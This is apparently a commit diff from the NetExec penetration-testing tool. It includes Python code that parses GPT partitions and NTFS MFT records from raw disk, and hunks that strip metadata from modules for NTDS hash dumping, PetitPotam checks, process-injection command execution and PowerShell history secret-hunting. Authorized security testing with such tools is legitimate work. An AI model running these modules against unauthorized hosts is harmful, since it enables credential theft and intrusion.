return struct.unpack("<Q", lst)[0]
def decode_dataRun(self, dataRun):
"""Decode the data run properties and return the fragmented locations of the file content on the disk"""
curr_datarun_indx = 0
prev_datarun_loc = 0
total_size = 0
result = []
while dataRun[curr_datarun_indx] != 0:
dataRun_startingCluster_nBytes = dataRun[curr_datarun_indx] & 0b00001111
dataRun_len_nBytes = (dataRun[curr_datarun_indx] & 0b11110000) >> 4
curr_datarun_indx += 1
dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes]
dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False)
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc
total_size += dataRun_len
result.append([datarun_cluster_loc, dataRun_len])
curr_datarun_indx = curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes
prev_datarun_loc = datarun_cluster_loc
return result, total_size * self.CLUSTER_SIZE
def parse_MFT_header(self, curr_sector):
"""Parse the MFT header and return its properties as a list"""
curr_index = 0
parsed_header = {}
while True:
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4])
if curr_header == 0xFFFFFFFF or curr_header is None:
break
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4])
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len]
curr_index = curr_index + curr_header_len
return parsed_header
def analyze_MFT_header(self, curr_sector):
"""Extract MFT properties"""
curr_MFA_sector = self.MFA_sector_properties()
if curr_sector[:4] != b"FILE":
return None
Offset_to_the_first_attribute = self.bytes_to_int_unsigned(curr_sector[20:22])
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1])
dataRun = parsed_header["$DATA"][dataRun_offset:]
curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun)
return curr_MFA_sector
def analyze_gpt(self, disk_path):
"""Extract the GPT partition locations on disk and return the index of Basic data partition."""
gpt_header = self.read_from_disk(self.GPT_HEADER_OFFSET, self.GPT_HEADER_SIZE)
partition_entry_lba, num_partition_entries, partition_entry_size = self.parse_gpt_header(gpt_header)
partition_entries = self.read_partition_entries(disk_path, partition_entry_lba, num_partition_entries, partition_entry_size)
self.logger.debug(f"Found {len(partition_entries)} partition entries.")
NTFS_partition_location = -1
for index, partition_entry in enumerate(partition_entries):
self.logger.debug(f"\nPartition {index + 1}:")
first_lba, partition_name = self.parse_partition_entry(partition_entry)
if first_lba > 0:
self.logger.debug(f"First Physical Address (LBA): {first_lba}")
else:
break
self.logger.debug(f"{partition_name=}")
if partition_name == "Basic data partition":
NTFS_partition_location = first_lba * 512
return NTFS_partition_location
def read_partition_entries(self, disk_path, partition_entry_lba, num_partition_entries, partition_entry_size):
"""Get the partition header section from the GPT header"""
partition_entries = []
partition_table_offset = partition_entry_lba * self.GPT_HEADER_OFFSET
total_size = num_partition_entries * partition_entry_size
partition_table_data = self.read_from_disk(partition_table_offset, total_size)
for i in range(num_partition_entries):
entry_offset = i * partition_entry_size
partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size]
partition_entries.append(partition_entry)
return partition_entries
def parse_gpt_header(self, gpt_header):
"""Parse the GPT header and return its partition header information"""
header_format = "<8sIIIIQQQQ16sQIII"
if len(gpt_header) < self.GPT_HEADER_SIZE:
raise ValueError("GPT header data is too short")
data = struct.unpack(header_format, gpt_header)
partition_entry_lba = data[10]
num_partition_entries = data[11]
size_of_partition_entry = data[12]
return partition_entry_lba, num_partition_entries, size_of_partition_entry
def parse_partition_entry(self, partition_entry):
"""Parse the GPT partition header and return the first LBA location and partition name"""
entry_format = "<16s16sQQQ72s"
(
partition_type_guid,
unique_partition_guid,
first_lba,
last_lba,
attributes,
partition_name,
) = struct.unpack(entry_format, partition_entry)
partition_name = partition_name.decode("utf-16le").rstrip("\x00")
return first_lba, partition_name
+2 -2
View File
@@ -19,8 +19,6 @@ class NXCModule:
name = "ntdsutil"
description = "Dump NTDS with ntdsutil"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
@@ -142,6 +140,8 @@ class NXCModule:
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
connection.output_filename = connection.output_file_template.format(output_folder="ntds")
NTDS = NTDSHashes(
f"{self.dir_result}/Active Directory/ntds.dit",
boot_key,
-2
View File
@@ -13,8 +13,6 @@ class NXCModule:
name = "ntlmv1"
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}"
-2
View File
@@ -13,8 +13,6 @@ class NXCModule:
name = "obsolete"
description = "Extract all obsolete operating systems from LDAP"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def ldap_time_to_datetime(self, ldap_time):
"""Convert an LDAP timestamp to a datetime object."""
-2
View File
@@ -2,8 +2,6 @@ class NXCModule:
name = "petitpotam"
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
+5 -2
View File
@@ -6,11 +6,14 @@ from nxc.paths import DATA_PATH, TMP_PATH
class NXCModule:
"""
Module for running system command as target PID user's
Module by @termanix
"""
name = "pi"
description = "Run command as logged on users via Process Injection"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
r"""
-2
View File
@@ -11,8 +11,6 @@ class NXCModule:
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
Loaded 100 of 185 files, more files were not shown because too many files have changed in this diff. Show more